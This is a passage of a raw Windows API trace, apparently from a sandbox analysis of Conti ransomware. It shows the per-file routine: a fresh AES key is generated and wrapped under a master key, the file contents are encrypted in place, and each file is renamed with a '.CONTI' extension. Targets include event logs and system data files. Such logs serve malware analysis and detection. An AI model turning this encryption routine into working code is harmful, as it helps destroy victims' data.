	[0094.177] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.177] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.177] WriteFile (in: hFile=0x34c, lpBuffer=0x17d3d64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d3d64*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0094.178] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.179] ReadFile (in: hFile=0x34c, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x37e, lpOverlapped=0x0) returned 1
	[0094.179] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x37e, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x380) returned 1
	[0094.179] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.179] WriteFile (in: hFile=0x34c, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x380, lpOverlapped=0x0) returned 1
	[0094.179] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.179] WriteFile (in: hFile=0x34c, lpBuffer=0x17d3d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x17d3d58*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0094.179] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.179] CloseHandle (hObject=0x34c) returned 1
	[0094.180] GetProcessHeap () returned 0x1720000
	[0094.180] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.181] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico"
	[0094.181] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.CONTI"
	[0094.181] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.conti")) returned 1
	[0094.181] GetProcessHeap () returned 0x1720000
	[0094.181] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.181] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0094.181] GetProcessHeap () returned 0x1720000
	[0094.181] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3ef0 | out: hHeap=0x1720000) returned 1
	[0094.181] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0095.286] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x17d61e0 | out: phKey=0x17d61e0*=0x17c8230) returned 1
	[0095.286] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d61e4, pdwDataLen=0x447fe94 | out: pbData=0x17d61e4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0095.287] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20
	[0097.044] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.044] GetLastError () returned 0x0
	[0097.044] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=69632) returned 1
	[0097.044] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0097.044] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.044] SetEndOfFile (hFile=0x35c) returned 1
	[0097.048] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.048] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.048] WriteFile (in: hFile=0x35c, lpBuffer=0x17d61e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d61e4*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0097.050] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.050] ReadFile (in: hFile=0x35c, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x11000, lpOverlapped=0x0) returned 1
	[0097.051] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x11000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x11010) returned 1
	[0097.051] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.051] WriteFile (in: hFile=0x35c, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x11010, lpOverlapped=0x0) returned 1
	[0097.051] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.051] WriteFile (in: hFile=0x35c, lpBuffer=0x17d61d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x17d61d8*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0097.052] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.052] CloseHandle (hObject=0x35c) returned 1
	[0097.053] GetProcessHeap () returned 0x1720000
	[0097.053] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.053] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Key Management Service.evtx" | out: lpString1="C:\\Logs\\Key Management Service.evtx") returned="C:\\Logs\\Key Management Service.evtx"
	[0097.053] lstrcatW (in: lpString1="C:\\Logs\\Key Management Service.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Key Management Service.evtx.CONTI") returned="C:\\Logs\\Key Management Service.evtx.CONTI"
	[0097.053] MoveFileW (lpExistingFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), lpNewFileName="C:\\Logs\\Key Management Service.evtx.CONTI" (normalized: "c:\\logs\\key management service.evtx.conti")) returned 1
	[0097.054] GetProcessHeap () returned 0x1720000
	[0097.054] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.054] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0097.054] GetProcessHeap () returned 0x1720000
	[0097.054] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d4b8 | out: hHeap=0x1720000) returned 1
	[0097.054] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0097.054] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x17e7da0 | out: phKey=0x17e7da0*=0x17c7eb0) returned 1
	[0097.054] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e7da4, pdwDataLen=0x447fe94 | out: pbData=0x17e7da4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0097.058] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20
	[0097.058] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.058] GetLastError () returned 0x0
	[0097.058] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=1052672) returned 1
	[0097.058] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x101000
	[0097.058] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.058] SetEndOfFile (hFile=0x35c) returned 1
	[0097.059] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.059] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.059] WriteFile (in: hFile=0x35c, lpBuffer=0x17e7da4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x17e7da4*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0097.060] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.060] ReadFile (in: hFile=0x35c, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x101000, lpOverlapped=0x0) returned 1
	[0097.079] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x101000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x101010) returned 1
	[0097.080] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.080] WriteFile (in: hFile=0x35c, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x101010, lpOverlapped=0x0) returned 1
	[0097.084] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.084] WriteFile (in: hFile=0x35c, lpBuffer=0x17e7d98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x17e7d98*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0097.084] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.084] CloseHandle (hObject=0x35c) returned 1
	[0097.547] GetProcessHeap () returned 0x1720000
	[0097.547] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.548] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx"
	[0097.548] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.CONTI"
	[0097.548] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.conti")) returned 1
	[0097.552] GetProcessHeap () returned 0x1720000
	[0097.552] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.552] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0097.552] GetProcessHeap () returned 0x1720000
	[0097.552] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0097.552] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0098.756] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x17e7da0 | out: phKey=0x17e7da0*=0x17c81b0) returned 1
	[0098.756] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e7da4, pdwDataLen=0x447fe94 | out: pbData=0x17e7da4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0098.765] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat")) returned 0x20
	[0099.834] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0099.834] GetLastError () returned 0x0
	[0099.834] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=882628) returned 1
	[0099.834] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd77c4
	[0099.834] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.834] SetEndOfFile (hFile=0x324) returned 1
	[0102.256] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.256] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.256] WriteFile (in: hFile=0x324, lpBuffer=0x17e7da4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x17e7da4*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0103.151] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.151] ReadFile (in: hFile=0x324, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0xd77c4, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0xd77c4, lpOverlapped=0x0) returned 1
	[0103.159] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0xd77c4, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0xd77d0) returned 1
	[0103.160] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.160] WriteFile (in: hFile=0x324, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0xd77d0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0xd77d0, lpOverlapped=0x0) returned 1
	[0103.162] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.162] WriteFile (in: hFile=0x324, lpBuffer=0x17e7d98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x17e7d98*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0103.162] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.162] CloseHandle (hObject=0x324) returned 1
	[0103.959] GetProcessHeap () returned 0x1720000
	[0103.959] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6517060
	[0103.959] lstrcpyW (in: lpString1=0x6517060, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat"
	[0103.959] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.CONTI"
	[0103.959] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat.conti")) returned 1
	[0103.960] GetProcessHeap () returned 0x1720000
	[0103.960] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6517060 | out: hHeap=0x1720000) returned 1
	[0103.960] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0103.960] GetProcessHeap () returned 0x1720000
	[0103.960] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8d90 | out: hHeap=0x1720000) returned 1
	[0103.960] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0107.390] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x17c57d8 | out: phKey=0x17c57d8*=0x17c80f0) returned 1
	[0107.390] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c57dc, pdwDataLen=0x447fe94 | out: pbData=0x17c57dc*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0107.390] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml")) returned 0x20
	[0107.391] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0107.391] GetLastError () returned 0x0
	[0107.391] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=896) returned 1
	[0107.391] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x380
	[0107.391] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.391] SetEndOfFile (hFile=0x3b0) returned 1
	[0107.391] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.391] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.391] WriteFile (in: hFile=0x3b0, lpBuffer=0x17c57dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c57dc*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.393] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.393] ReadFile (in: hFile=0x3b0, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x380, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x380, lpOverlapped=0x0) returned 1
	[0107.393] CryptEncrypt (in: hKey=0x17c80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x380, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x390) returned 1
	[0107.393] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.393] WriteFile (in: hFile=0x3b0, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x390, lpOverlapped=0x0) returned 1
	[0107.393] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.393] WriteFile (in: hFile=0x3b0, lpBuffer=0x17c57d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x17c57d0*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0107.393] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.393] CloseHandle (hObject=0x3b0) returned 1
	[0107.394] GetProcessHeap () returned 0x1720000
	[0107.394] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.394] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"
